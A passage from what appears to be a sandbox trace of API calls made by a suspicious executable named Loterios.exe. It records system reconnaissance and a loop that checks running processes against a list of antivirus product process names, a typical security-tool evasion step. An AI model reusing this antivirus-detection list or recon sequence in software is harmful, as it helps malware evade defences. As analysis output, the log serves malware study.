[4]=0xb4)), Name=0x4109e8, cchName=0x19ff38, ReferencedDomainName=0x19fcec, cchReferencedDomainName=0x19ff48, peUse=0x19ff30 | out: Name="FD1HVy", cchName=0x19ff38, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x19ff48, peUse=0x19ff30) returned 1 [0229.867] GetSystemMetrics (nIndex=4096) returned 0 [0231.285] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x410af8, nSize=0x20a | out: lpFilename="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x18 [0231.285] lstrcpynW (in: lpString1=0x4109a4, lpString2="Loterios.exe", iMaxLength=64 | out: lpString1="Loterios.exe") returned="Loterios.exe" [0231.285] lstrlenW (lpString="Loterios.exe") returned 12 [0231.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Loterios", cchWideChar=-1, lpMultiByteStr=0x410984, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Loterios", lpUsedDefaultChar=0x0) returned 9 [0231.286] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe") returned 24 [0231.286] lstrcpynW (in: lpString1=0x410f38, lpString2="C:\\BlotRots", iMaxLength=261 | out: lpString1="C:\\BlotRots") returned="C:\\BlotRots" [0231.286] lstrcatW (in: lpString1="C:\\BlotRots", lpString2="\\" | out: lpString1="C:\\BlotRots\\") returned="C:\\BlotRots\\" [0231.286] lstrcatW (in: lpString1="C:\\BlotRots\\", lpString2="Loterios" | out: lpString1="C:\\BlotRots\\Loterios") returned="C:\\BlotRots\\Loterios" [0231.286] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff700 [0231.286] lstrcatW (in: lpString1="C:\\BlotRots\\Loterios", lpString2=".dat" | out: lpString1="C:\\BlotRots\\Loterios.dat") returned="C:\\BlotRots\\Loterios.dat" [0231.286] lstrlenA (lpString=".") returned 1 [0231.286] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="user32.dll") returned 10 [0231.286] lstrlenA (lpString="Loterios") returned 8 [0231.286] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1b) returned 0x21ff700 [0231.287] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ff728 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.287] lstrlenA (lpString="user32.dll") returned 10 [0231.287] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0231.287] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0231.287] lstrlenA (lpString="1234567890") returned 10 [0231.288] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff728 | out: hHeap=0x2180000) returned 1 [0231.288] GetCurrentProcess () returned 0xffffffff [0231.288] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x2a8) returned 1 [0231.288] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2dc | out: TokenInformation=0x0, ReturnLength=0x19f2dc) returned 0 [0231.288] GetLastError () returned 0x7a [0231.288] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff700 [0231.288] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x19, TokenInformation=0x21ff700, TokenInformationLength=0x14, ReturnLength=0x19f2fc | out: TokenInformation=0x21ff700, ReturnLength=0x19f2fc) returned 1 [0231.288] GetSidSubAuthorityCount (pSid=0x21ff708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x21ff709 [0231.288] GetSidSubAuthority (pSid=0x21ff708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x21ff710 [0231.288] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0231.288] CloseHandle (hObject=0x2a8) returned 1 [0231.288] GetVersionExA (in: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0231.288] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0231.289] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0231.289] GetCurrentProcess () returned 0xffffffff [0231.289] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff48 | out: Wow64Process=0x19ff48) returned 1 [0231.289] GetWindowsDirectoryW (in: lpBuffer=0x411b1c, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0231.289] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x19fce4, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0231.289] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x411f30, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0231.289] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x411d26, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0231.289] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x19fef0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0231.289] GetComputerNameW (in: lpBuffer=0x41249c, nSize=0x19ff48 | out: lpBuffer="NQDPDE", nSize=0x19ff48) returned 1 [0231.289] lstrlenA (lpString="zxkyvc810337") returned 12 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.289] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.290] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.291] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] lstrlenA (lpString="user32.dll") returned 10 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff700 [0231.292] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff718 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff728 [0231.292] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0231.292] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x26) returned 0x21ff740 [0231.292] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff700 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff770 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff788 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff7a0 [0231.292] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0231.292] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff740 | out: hHeap=0x2180000) returned 1 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff740 [0231.292] lstrlenA (lpString="MsMpEng.exe") returned 11 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff758 [0231.292] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff7b8 [0231.293] lstrlenA (lpString="MsMpEng.exe") returned 11 [0231.293] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff740 | out: hHeap=0x2180000) returned 1 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff740 [0231.293] lstrlenA (lpString="mcshield.exe") returned 12 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff7d0 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff7e0 [0231.293] lstrlenA (lpString="mcshield.exe") returned 12 [0231.293] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff740 | out: hHeap=0x2180000) returned 1 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff7f8 [0231.293] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff740 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff818 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff828 [0231.293] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0231.293] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7f8 | out: hHeap=0x2180000) returned 1 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x12) returned 0x21ff7f8 [0231.293] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff840 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff850 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff868 [0231.293] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0231.293] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7f8 | out: hHeap=0x2180000) returned 1 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x25) returned 0x21ff880 [0231.293] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff7f8 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff8b0 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ff8c8 [0231.293] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff8e0 [0231.294] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0231.294] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff880 | out: hHeap=0x2180000) returned 1 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff880 [0231.294] lstrlenA (lpString="AvastSvc.exe") returned 12 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff898 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff8f8 [0231.294] lstrlenA (lpString="AvastSvc.exe") returned 12 [0231.294] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff880 | out: hHeap=0x2180000) returned 1 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x2f) returned 0x21ff910 [0231.294] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff880 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff948 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff968 [0231.294] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff980 [0231.297] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0231.297] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff910 | out: hHeap=0x2180000) returned 1 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x23) returned 0x21ff910 [0231.297] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff998 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff9a8 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffb70 [0231.297] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0231.297] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff910 | out: hHeap=0x2180000) returned 1 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffba0 [0231.297] lstrlenA (lpString="fshoster32.exe") returned 14 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21fffd0 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ffb58 [0231.297] lstrlenA (lpString="fshoster32.exe") returned 14 [0231.297] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffba0 | out: hHeap=0x2180000) returned 1 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ffb40 [0231.297] lstrlenA (lpString="WRSA.exe") returned 8 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff910 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ffb88 [0231.297] lstrlenA (lpString="WRSA.exe") returned 8 [0231.297] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb40 | out: hHeap=0x2180000) returned 1 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x22) returned 0x2186b18 [0231.297] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0231.297] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffb10 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffac8 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffba0 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ffbb8 [0231.298] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0231.298] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186b18 | out: hHeap=0x2180000) returned 1 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ffb28 [0231.298] lstrlenA (lpString="ByteFence.exe") returned 13 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x21ff920 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ffa08 [0231.298] lstrlenA (lpString="ByteFence.exe") returned 13 [0231.298] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb28 | out: hHeap=0x2180000) returned 1 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1c) returned 0x2186b18 [0231.298] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff930 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ffb28 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff9f0 [0231.298] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0231.298] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186b18 | out: hHeap=0x2180000) returned 1 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ffae0 [0231.298] lstrlenA (lpString="fmon.exe") returned 8 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x4) returned 0x2186b18 [0231.298] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ffaf8 [0231.299] lstrlenA (lpString="fmon.exe") returned 8 [0231.299] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffae0 | out: hHeap=0x2180000) returned 1 [0231.299] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a8 [0231.381] Process32First (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0231.382] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0231.383] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0231.383] Sleep (dwMilliseconds=0xa) [0231.411] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0231.413] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0231.413] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0231.413] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0231.414] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0231.414] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0231.414] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0231.414] Sleep (dwMilliseconds=0xa) [0231.439] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.439] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0231.440] lstrcmpiA 